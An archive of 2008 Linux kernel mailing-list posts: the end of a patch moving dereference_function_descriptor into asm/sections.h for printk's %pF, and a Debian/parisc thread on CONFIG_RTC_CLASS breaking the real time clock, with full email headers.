+	if (!probe_kernel_address(&desc->funcaddr, p))
+		ptr = p;
+	return ptr;
+}
diff --git a/include/asm-generic/sections.h b/include/asm-generic/sections.h
index 8feeae1..79a7ff9 100644
--- a/include/asm-generic/sections.h
+++ b/include/asm-generic/sections.h
@@ -14,4 +14,10 @@ extern char __kprobes_text_start[], __kprobes_text_end[];
 extern char __initdata_begin[], __initdata_end[];
 extern char __start_rodata[], __end_rodata[];
 
+/* function descriptor handling (if any).  Override
+ * in asm/sections.h */
+#ifndef dereference_function_descriptor
+#define dereference_function_descriptor(p) (p)
+#endif
+
 #endif /* _ASM_GENERIC_SECTIONS_H_ */
diff --git a/include/asm-parisc/sections.h b/include/asm-parisc/sections.h
index fdd43ec..9d13c35 100644
--- a/include/asm-parisc/sections.h
+++ b/include/asm-parisc/sections.h
@@ -4,4 +4,9 @@
 /* nothing to see, move along */
 #include <asm-generic/sections.h>
 
+#ifdef CONFIG_64BIT
+#undef dereference_function_descriptor
+void *dereference_function_descriptor(void *);
+#endif
+
 #endif
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index d8d1d11..c399bc1 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -27,6 +27,7 @@
 
 #include <asm/page.h>		/* for PAGE_SIZE */
 #include <asm/div64.h>
+#include <asm/sections.h>	/* for dereference_function_descriptor() */
 
 /* Works only for digits and letters, but small and fast */
 #define TOLOWER(x) ((x) | 0x20)
@@ -513,16 +514,6 @@ static char *string(char *buf, char *end, char *s, int field_width, int precisio
 	return buf;
 }
 
-static inline void *dereference_function_descriptor(void *ptr)
-{
-#if defined(CONFIG_IA64) || defined(CONFIG_PPC64)
-	void *p;
-	if (!probe_kernel_address(ptr, p))
-		ptr = p;
-#endif
-	return ptr;
-}
-
 static char *symbol_string(char *buf, char *end, void *ptr, int field_width, int precision, int flags)
 {
 	unsigned long value = (unsigned long) ptr;
-- 
1.5.5.1



--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 9 Sep 2008 10:58:35 -0600
Lines: 80
Approved: news@gmane.org
Message-ID: <20080909165835.GB1447@colo.lackof.org>
References: <1220713586.3430.14.camel@localhost.localdomain> <20080908163703.GA3218@wavehammer.waldi.eu.org> <1220893102.8074.41.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220979544 980 80.91.229.12 (9 Sep 2008 16:59:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 16:59:04 +0000 (UTC)
Cc: Bastian Blank <waldi@debian.org>, debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 18:59:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd6ZJ-0004zn-8T
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 18:59:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754676AbYIIQ6t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 12:58:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754766AbYIIQ6t
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 12:58:49 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:53862 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754676AbYIIQ6s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 12:58:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 845C16F804C;
	Tue,  9 Sep 2008 10:58:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03963-04; Tue, 9 Sep 2008 10:58:36 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 1012)
	id 09B4E6F804B; Tue,  9 Sep 2008 10:58:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1220893102.8074.41.camel@localhost.localdomain>
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:764 gmane.linux.debian.devel.kernel:41239 gmane.linux.debian.ports.hppa:5497
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/764>

On Mon, Sep 08, 2008 at 11:58:22AM -0500, James Bottomley wrote:
> On Mon, 2008-09-08 at 18:37 +0200, Bastian Blank wrote:
> > On Sat, Sep 06, 2008 at 10:06:26AM -0500, James Bottomley wrote:
> > > Parisc is a CONFIG_GEN_RTC architecture (we use the generic real time
> > > clock driver).
> > 
> > Well.
> > 
> > >                 Starting with 2.6.26, debian is now enabling
> > > CONFIG_RTC_CLASS (for platforms with specific RTC drivers) which
> > > disables CONFIG_GEN_RTC and means that hwclock (and ntp tracking) are
> > > broken on parisc with debian kernels 2.6.26 and above.
> > 
> > Yes. Most arches already needs it anyway.
> > 
> > > All of the arch/parisc/config files get this right, so someone at debian
> > > must have screwed up somehow.  The config option CONFIG_RTC_CLASS must
> > > be set to 'N' for all parisc systems.
> > 
> > Apparently hppa uses its special rtc type.  I propose that you take a
> > look at drivers/rtc/rtc-ppc.c and write a wrapper rtc module.
> 
> That may be the way forwards depending on what the RTC developers say,
> but it certainly won't fix the 2.6.26 regression.
> 
> > >                                        I'd suggest checking the debian
> > > kernel configs against the in-tree default files to see if there are any
> > > other cockups like this.
> > 
> > If there are, this are bugs in the kernel themself. I'm no hppa
> > developer so I won't waste my time with such.
> 
> Hardly, the bug is actually in the debian configs.  You have
> CONFIG_RTC_CLASS as a generic override.  This is wrong, it needs to be
> subordinate to CONIFG_GEN_RTC.  The quick fix would be to move the
> CONFIG_RTC_CLASS sequence down from generic to the architectures ... if
> you're incapable of doing that, I might be able to find time to look at
> doing it for you.
> 
> The real bug looks to be the debian config system which relies on
> concatenation ... what's really needed is a way of turning
> CONFIG_RTC_CLASS off on parisc while keeping RTC_CLASS generic for those
> architectures that need it.

fyi, I've got an hppa build in progress - disabling RTC_CLASS causes
the symbols below to be removed (essentially, ^rtc_*)

I'm not sure what's behind the hppa/ABI removal commits - I didn't see
this discussed on the list - but I think it should be safe to remove
these symbols from the ABI files if we can demonstrate that none of
the conglomerate packages use them.

rtc_class_close
rtc_class_open
rtc_device_register
rtc_device_unregister
rtc_irq_register
rtc_irq_set_freq
rtc_irq_set_state
rtc_irq_unregister
rtc_month_days
rtc_read_alarm
rtc_read_time
rtc_set_alarm
rtc_set_mmss
rtc_set_time
rtc_time_to_tm
rtc_tm_to_time
rtc_update_irq
rtc_valid_tm
rtc_year_days

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bastian Blank <waldi@debian.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.kernel,gmane.linux.ports.parisc
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 9 Sep 2008 19:38:37 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20080909173837.GA1457@wavehammer.waldi.eu.org>
References: <1220713586.3430.14.camel@localhost.localdomain> <20080908163703.GA3218@wavehammer.waldi.eu.org> <1220893102.8074.41.camel@localhost.localdomain> <20080909165835.GB1447@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1220981942 9788 80.91.229.12 (9 Sep 2008 17:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 17:39:02 +0000 (UTC)
To: debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Sep 09 19:39:57 2008
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd7Bx-0000Gu-D9
	for debian-hppa@m.gmane.org; Tue, 09 Sep 2008 19:39:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 7770413A58E7; Tue,  9 Sep 2008 17:38:51 +0000 (UTC)
Old-Return-Path: <waldi@debian.org>
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-8.0 required=4.0 tests=LDOSUBSCRIBER,LDO_WHITELIST,
	REMOVEDOT autolearn=failed version=3.2.3
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 5538913A58C5
	for <lists-debian-hppa@liszt.debian.org>; Tue,  9 Sep 2008 17:38:43 +0000 (UTC)
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 29423-12 for <lists-debian-hppa@liszt.debian.org>;
	Tue, 9 Sep 2008 17:38:40 +0000 (UTC)
Original-Received: from wavehammer.waldi.eu.org (wavehammer.waldi.eu.org [82.139.201.20])
	by liszt.debian.org (Postfix) with ESMTP id 59BD113A582F;
	Tue,  9 Sep 2008 17:38:40 +0000 (UTC)
Original-Received: by wavehammer.waldi.eu.org (Postfix, from userid 1000)
	id 971D6542D5; Tue,  9 Sep 2008 19:38:37 +0200 (CEST)
Mail-Followup-To: debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <20080909165835.GB1447@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-4 tagged_above=3.6 required=5.3 tests=[BAYES_00=-2,
	LDO_WHITELIST=-5, REMOVEDOT=3]
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2007-10-04_01
Resent-Message-ID: <iNgYGLsAnsF.A.xSD.rSrxIB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6498
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  9 Sep 2008 17:38:51 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5498 gmane.linux.debian.devel.kernel:41241 gmane.linux.ports.parisc:765
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/765>

On Tue, Sep 09, 2008 at 10:58:35AM -0600, dann frazier wrote:
> fyi, I've got an hppa build in progress - disabling RTC_CLASS causes
> the symbols below to be removed (essentially, ^rtc_*)

The whole new-style rtc support.

> I'm not sure what's behind the hppa/ABI removal commits - I didn't see
> this discussed on the list - but I think it should be safe to remove
> these symbols from the ABI files if we can demonstrate that none of
> the conglomerate packages use them.

Why does noone write this 30 lines module and fix it for all?

Bastian

-- 
Behind every great man, there is a woman -- urging him on.
		-- Harry Mudd, "I, Mudd", stardate 4513.3



From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 09 Sep 2008 12:48:35 -0500
Lines: 86
Approved: news@gmane.org
Message-ID: <1220982515.3334.29.camel@localhost.localdomain>
References: <1220713586.3430.14.camel@localhost.localdomain>
	 <20080908163703.GA3218@wavehammer.waldi.eu.org>
	 <1220893102.8074.41.camel@localhost.localdomain>
	 <20080909165835.GB1447@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220982528 11948 80.91.229.12 (9 Sep 2008 17:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 17:48:48 +0000 (UTC)
Cc: Bastian Blank <waldi@debian.org>, debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 19:49:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd7LQ-0003On-6V
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 19:49:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751847AbYIIRsh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 13:48:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753778AbYIIRsh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 13:48:37 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:54780 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751847AbYIIRsg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 13:48:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 253CD8399;
	Tue,  9 Sep 2008 12:48:35 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jTT5CFaC6xpo; Tue,  9 Sep 2008 12:48:33 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 8CB4682C2;
	Tue,  9 Sep 2008 12:48:33 -0500 (CDT)
In-Reply-To: <20080909165835.GB1447@colo.lackof.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:766 gmane.linux.debian.devel.kernel:41244 gmane.linux.debian.ports.hppa:5499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/766>

On Tue, 2008-09-09 at 10:58 -0600, dann frazier wrote:
> On Mon, Sep 08, 2008 at 11:58:22AM -0500, James Bottomley wrote:
> > On Mon, 2008-09-08 at 18:37 +0200, Bastian Blank wrote:
> > > On Sat, Sep 06, 2008 at 10:06:26AM -0500, James Bottomley wrote:
> > > > Parisc is a CONFIG_GEN_RTC architecture (we use the generic real time
> > > > clock driver).
> > > 
> > > Well.
> > > 
> > > >                 Starting with 2.6.26, debian is now enabling
> > > > CONFIG_RTC_CLASS (for platforms with specific RTC drivers) which
> > > > disables CONFIG_GEN_RTC and means that hwclock (and ntp tracking) are
> > > > broken on parisc with debian kernels 2.6.26 and above.
> > > 
> > > Yes. Most arches already needs it anyway.
> > > 
> > > > All of the arch/parisc/config files get this right, so someone at debian
> > > > must have screwed up somehow.  The config option CONFIG_RTC_CLASS must
> > > > be set to 'N' for all parisc systems.
> > > 
> > > Apparently hppa uses its special rtc type.  I propose that you take a
> > > look at drivers/rtc/rtc-ppc.c and write a wrapper rtc module.
> > 
> > That may be the way forwards depending on what the RTC developers say,
> > but it certainly won't fix the 2.6.26 regression.
> > 
> > > >                                        I'd suggest checking the debian
> > > > kernel configs against the in-tree default files to see if there are any
> > > > other cockups like this.
> > > 
> > > If there are, this are bugs in the kernel themself. I'm no hppa
> > > developer so I won't waste my time with such.
> > 
> > Hardly, the bug is actually in the debian configs.  You have
> > CONFIG_RTC_CLASS as a generic override.  This is wrong, it needs to be
> > subordinate to CONIFG_GEN_RTC.  The quick fix would be to move the
> > CONFIG_RTC_CLASS sequence down from generic to the architectures ... if
> > you're incapable of doing that, I might be able to find time to look at
> > doing it for you.
> > 
> > The real bug looks to be the debian config system which relies on
> > concatenation ... what's really needed is a way of turning
> > CONFIG_RTC_CLASS off on parisc while keeping RTC_CLASS generic for those
> > architectures that need it.
> 
> fyi, I've got an hppa build in progress - disabling RTC_CLASS causes
> the symbols below to be removed (essentially, ^rtc_*)

Thanks Dann ... are you the person in charge of the builds then?

> I'm not sure what's behind the hppa/ABI removal commits - I didn't see
> this discussed on the list - but I think it should be safe to remove
> these symbols from the ABI files if we can demonstrate that none of
> the conglomerate packages use them.
> 
> rtc_class_close
> rtc_class_open
> rtc_device_register
> rtc_device_unregister
> rtc_irq_register
> rtc_irq_set_freq
> rtc_irq_set_state
> rtc_irq_unregister
> rtc_month_days
> rtc_read_alarm
> rtc_read_time
> rtc_set_alarm
> rtc_set_mmss
> rtc_set_time
> rtc_time_to_tm
> rtc_tm_to_time
> rtc_update_irq
> rtc_valid_tm
> rtc_year_days

They certainly have to be inessential to the parisc ABI ... they don't
work if anything's actually trying to use them.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 09 Sep 2008 12:53:52 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <1220982832.3334.34.camel@localhost.localdomain>
References: <1220713586.3430.14.camel@localhost.localdomain>
	 <20080908163703.GA3218@wavehammer.waldi.eu.org>
	 <1220893102.8074.41.camel@localhost.localdomain>
	 <20080909165835.GB1447@colo.lackof.org>
	 <20080909173837.GA1457@wavehammer.waldi.eu.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220982843 12996 80.91.229.12 (9 Sep 2008 17:54:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 17:54:03 +0000 (UTC)
Cc: debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: Bastian Blank <waldi@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 19:54:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd7QW-0004sz-KB
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 19:54:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753788AbYIIRxy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 13:53:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754361AbYIIRxx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 13:53:53 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:53335 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753788AbYIIRxx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 13:53:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id CA0538399;
	Tue,  9 Sep 2008 12:53:51 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Nt685Zr2163x; Tue,  9 Sep 2008 12:53:50 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 94A4782C2;
	Tue,  9 Sep 2008 12:53:50 -0500 (CDT)
In-Reply-To: <20080909173837.GA1457@wavehammer.waldi.eu.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:767 gmane.linux.debian.devel.kernel:41245 gmane.linux.debian.ports.hppa:5500
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/767>

On Tue, 2008-09-09 at 19:38 +0200, Bastian Blank wrote:
> On Tue, Sep 09, 2008 at 10:58:35AM -0600, dann frazier wrote:
> > fyi, I've got an hppa build in progress - disabling RTC_CLASS causes
> > the symbols below to be removed (essentially, ^rtc_*)
> 
> The whole new-style rtc support.

But it doesn't work, that's rather the point of all of this.  If it
doesn't work, it can hardly be a committed ABI.

> > I'm not sure what's behind the hppa/ABI removal commits - I didn't see
> > this discussed on the list - but I think it should be safe to remove
> > these symbols from the ABI files if we can demonstrate that none of
> > the conglomerate packages use them.
> 
> Why does noone write this 30 lines module and fix it for all?

Because only an idiot would fix a bug in a released product by
introducing a new feature: that's QA and release process 101.  New
features belong in the next merge window, which will be for 2.6.28 by
which time it should have been reasonably QA'd by the parisc developers.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bastian Blank <waldi@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 9 Sep 2008 20:01:27 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20080909180127.GA2712@wavehammer.waldi.eu.org>
References: <1220713586.3430.14.camel@localhost.localdomain> <20080908163703.GA3218@wavehammer.waldi.eu.org> <1220893102.8074.41.camel@localhost.localdomain> <20080909165835.GB1447@colo.lackof.org> <1220982515.3334.29.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1220983308 14770 80.91.229.12 (9 Sep 2008 18:01:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 18:01:48 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 20:02:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd7Xt-0006Y6-0f
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 20:02:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753904AbYIISBa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 14:01:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754810AbYIISBa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 14:01:30 -0400
Original-Received: from wavehammer.waldi.eu.org ([82.139.201.20]:47291 "EHLO
	wavehammer.waldi.eu.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753904AbYIISBa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 14:01:30 -0400
Original-Received: by wavehammer.waldi.eu.org (Postfix, from userid 1000)
	id D335B542D5; Tue,  9 Sep 2008 20:01:27 +0200 (CEST)
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	dann frazier <dannf@dannf.org>, debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <1220982515.3334.29.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:768 gmane.linux.debian.devel.kernel:41246 gmane.linux.debian.ports.hppa:5501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/768>

On Tue, Sep 09, 2008 at 12:48:35PM -0500, James Bottomley wrote:
> They certainly have to be inessential to the parisc ABI ... they don't
> work if anything's actually trying to use them.

Really? Which sort of "don't work" is this? Why should a I2C rtc device
(some dallas chip) not work?

Bastian

-- 
No problem is insoluble.
		-- Dr. Janet Wallace, "The Deadly Years", stardate 3479.4
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.ppc64.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Tue, 9 Sep 2008 14:08:40 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20080909180840.GA1940@phobos.i.cabal.ca>
References: <1220481754.3254.42.camel@localhost.localdomain> <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org> <1220482853.3254.47.camel@localhost.localdomain> <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org> <1220484812.3254.59.camel@localhost.localdomain> <alpine.LFD.1.10.0809031636320.3515@nehalem.linux-foundation.org> <1220492616.3254.64.camel@localhost.localdomain> <1220567811.4879.85.camel@pasglop> <57C9024A16AD2D4C97DC78E552063EA30A0DC383@orsmsx505.amr.corp.intel.com> <1220969561.3334.7.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220983761 16554 80.91.229.12 (9 Sep 2008 18:09:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 18:09:21 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"Luck, Tony" <tony.luck@intel.com>,
	"benh@kernel.crashing.org" <benh@kernel.crashing.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	"linuxppc-dev@ozlabs.org" <linuxppc-dev@ozlabs.org>,
